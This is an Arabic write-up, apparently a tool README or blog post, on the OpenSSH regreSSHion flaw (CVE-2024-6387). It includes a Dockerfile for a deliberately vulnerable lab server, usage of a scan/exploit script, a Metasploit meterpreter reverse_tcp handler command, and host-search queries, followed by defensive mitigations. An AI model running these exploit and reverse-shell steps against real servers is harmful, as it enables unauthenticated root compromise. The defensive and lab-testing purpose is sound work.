
# فحص واستغلال CVE-2024-6387 (regreSSHion) في خوادم OpenSSH يتضمن فحصًا متعدد الخيوط، واسترجاع الشعار (banner)، واكتشاف فترة السماح (grace time)، ووضع الاستغلال مع حمولة قشرة عكسية (reverse shell).
هذه في الأساس ثغرة إحصائية: يتطلب الأمر عددًا كبيرًا من المحاولات للفوز بسباق التوقيت (race condition) وتنفيذ كود تعسفي بنجاح. يحتاج المهاجمون إلى التغلب على العديد من العقبات، وفقًا لما قاله شوارتز لموقع SecurityWeek. "حتى في أفضل السيناريوهات، تستغرق الثغرة الأكثر شهرة أكثر من 4 ساعات لاستغلالها."
في ملاحظات إصدار OpenSSH 9.8، أشار المطورون إلى أن الثغرة تم تأكيدها فقط على أنظمة Linux 32-bit القائمة على glibc، وأن OpenBSD غير متأثر.
يتم إعداد البيئة باستخدام Docker.
# 1.1. Writing the Dockerfile
FROM i386/ubuntu:20.04
ENV DEBIAN_FRONTEND=noninteractive
RUN dpkg --add-architecture i386 && apt-get update && apt-get install -y \
build-essential \
wget \
curl \
libssl-dev:i386 \
zlib1g-dev:i386
RUN groupadd sshd && useradd -g sshd -s /bin/false sshd
RUN wget https://cdn.openbsd.org/pub/OpenBSD/OpenSSH/portable/openssh-9.2p1.tar.gz && \
tar -xzf openssh-9.2p1.tar.gz && \
cd openssh-9.2p1 && \
./configure && make && make install
RUN mkdir /var/run/sshd
RUN echo 'root:password' | chpasswd
RUN sed -i 's/#PermitRootLogin prohibit-password/PermitRootLogin yes/' /usr/local/etc/sshd_config && \
sed -i 's/#PasswordAuthentication yes/PasswordAuthentication yes/' /usr/local/etc/sshd_config && \
echo 'MaxStartups 100:30:200' >> /usr/local/etc/sshd_config
RUN echo '#!/bin/bash\n/usr/local/sbin/sshd -V' > /show_version.sh && \
chmod +x /show_version.sh
EXPOSE 22
CMD ["/usr/local/sbin/sshd", "-D"]
sudo docker build --platform=linux/386 -t vulnerable-openssh:9.2p1 .
sudo docker run --platform=linux/386 -d -p 2222:22 --name vuln-ssh-32bit vulnerable-openssh:9.2p1
CVE-2024-6387.py - PoCيعمل الاستغلال فقط مع خوادم OpenSSH ذات 32-bit. وذلك لأن الـ POC يستخدم مؤشرات 32-bit! من المعروف أيضًا أن بعض الإصدارات تم تصحيحها بالفعل، وليس كل خادم معرض للثغرة. تم اختباره على: Kali Linux, ParrotSec, Ubuntu 22.04
ثغرة تنفيذ كود عن بُعد بدون مصادقة في خادم OpenSSH
CVE-2024-6387.py هي أداة خفيفة وفعالة مصممة لتحديد الخوادم التي تعمل بإصدارات OpenSSH المعرضة للخطر، وتستهدف على وجه التحديد ثغرة regreSSHion المكتشفة حديثًا (CVE-2024-6387). يسهّل هذا السكربت الفحص السريع لعناوين IP متعددة وأسماء النطاقات ونطاقات شبكات CIDR لاكتشاف الثغرات المحتملة وضمان أمان البنية التحتية الخاصة بك.
تم العثور على حالة سباق في معالج الإشارات في خادم OpenSSH (sshd)، حيث إذا لم يقم العميل بالمصادقة خلال ثوانٍ LoginGraceTime (120 افتراضيًا، 600 في إصدارات OpenSSH القديمة)، يتم استدعاء معالج SIGALRM الخاص بـ sshd بشكل غير متزامن. ومع ذلك، يستدعي معالج الإشارات هذا وظائف مختلفة غير آمنة للإشارات غير المتزامنة، مثل syslog().
يمكنك العثور على التفاصيل التقنية هنا.
الخلل، الذي اكتشفه باحثون في Qualys في مايو 2024، وتم تعيين المعرف CVE-2024-6387 له، ناتج عن حالة سباق في معالج الإشارات في sshd تسمح للمهاجمين عن بُعد غير المصادق عليهم بتنفيذ كود تعسفي بصلاحيات الجذر (root).
"إذا لم يقم العميل بالمصادقة خلال ثوانٍ LoginGraceTime (120 افتراضيًا)، يتم استدعاء معالج SIGALRM الخاص بـ sshd بشكل غير متزامن ويستدعي وظائف مختلفة غير آمنة للإشارات غير المتزامنة،"
"يمكن للمهاجم عن بُعد غير المصادق عليه الاستفادة من هذا الخلل لتنفيذ كود تعسفي بصلاحيات الجذر."
المتطلب: python3 الأحدث
### وسائط سطر الأوامر
mode: يحدد وضع التشغيل. الخيارات هي scan أو exploit.
-T, --targets: عناوين IP، أسماء نطاقات، مسارات ملفات تحتوي على عناوين IP، أو نطاقات شبكات CIDR.
-f, --outputfile: ملف لحفظ النتائج (مثل: result.json).
-g, --gracetimecheck: الوقت بالثواني للانتظار بعد تحديد الإصدار للتحقق من تخفيف LoginGraceTime (الافتراضي: 120 ثانية).
-n, --nic: بطاقة الشبكة (الافتراضي: 'eth0').
-o, --output: تنسيق الإخراج للنتائج (الخيارات: 'csv', 'txt', 'json').
-p, --port: رقم المنفذ للفحص أو الاستغلال (الافتراضي: 22).
-s, --speed: عدد الخيوط لزيادة فرص حالة السباق (الافتراضي: 10).
-t, --timeout: مهلة الاتصال بالثواني (الافتراضي: 1 ثانية).
-H, --resolve-hostnames: حل أسماء المضيفين
python3 CVE-2024-6387.py scan -T example.com -p 22
python3 CVE-2024-6387.py exploit -T example.com -p 22 -n eth0
كل ما عليك فعله هو تشغيل الأمر أدناه أولاً (قم بتغيير المعالج {yourip}) ثم تشغيل الاستغلال بعد ذلك بالأمر أعلاه
msfconsole -q -x "use exploit/multi/handler; set PAYLOAD linux/x64/meterpreter/reverse_tcp; set LHOST {yourip}; set LPORT 9999; exploit -j"
توفر الأداة مخرجات ملونة لوحدة التحكم لسهولة القراءة:
الأخضر: اتصال أو عملية ناجحة. الأحمر: فشل الاتصال أو خطأ. الأصفر: تحذيرات أو معلومات جديرة بالملاحظة. السماوي: معلومات عامة أو تحديثات الحالة.
/product.name="OpenSSH"app="OpenSSH"product:"OpenSSH"(openssh) and labels=remote-accessإدارة التصحيحات: يعد تطبيق التصحيحات المتاحة لـ OpenSSH بسرعة أمرًا بالغ الأهمية لسد فجوة الثغرة. يضمن التصحيح في الوقت المناسب عدم إمكانية استخدام الاستغلالات المعروفة ضد أنظمتك، مما يقلل من نافذة الفرصة للمهاجمين.
تعزيز التحكم في الوصول: يضيف تقييد الوصول إلى SSH من خلال ضوابط قائمة على الشبكة طبقة دفاع إضافية. يقلل هذا النهج من التعرض للمهاجمين المحتملين عن طريق تقييد اتصالات SSH على الشبكات أو عناوين IP المصرح بها فقط. يمكن أن يؤدي تنفيذ أدوات مثل قواعد جدار الحماية أو استخدام VPN للوصول الآمن إلى فرض هذه القيود بشكل فعال.
تقسيم الشبكة: يساعد تقسيم شبكتك إلى أجزاء في احتواء تأثير الاختراق المحتمل. من خلال فصل الأنظمة الحساسة والبيانات الحساسة عن الأجزاء الأقل أهمية في شبكتك، فإنك تقلل من خطر الحركة الجانبية من قبل المهاجمين. يمكن استكمال هذا التقسيم بضوابط وصول صارمة ومراقبة لاكتشاف أي محاولات غير مصرح بها لاختراق هذه الأجزاء والاستجابة لها.
أنظمة كشف التسلل (IDS): يتيح نشر أنظمة كشف التسلل (IDS) أو أنظمة منع التسلل (IPS) المراقبة في الوقت الفعلي لحركة مرور الشبكة وسجلات النظام. يمكن لهذه الأنظمة اكتشاف الأنشطة المشبوهة ومحاولات الاستغلال المحتملة المرتبطة بثغرة regreSSHion. تسمح التنبيهات التي تطلقها هذه الأنظمة بالتحقيق الفوري والتخفيف قبل حدوث أضرار كبيرة.
مراقبة محاولات الاستغلال: المراقبة المستمرة لسجلات الشبكة والنظام أمر بالغ الأهمية. ابحث عن أي أنماط أو أنشطة غير عادية قد تشير إلى محاولة استغلال ثغرة OpenSSH. يساعد هذا النهج الاستباقي في تحديد التهديدات والاستجابة لها قبل أن تسبب ضررًا.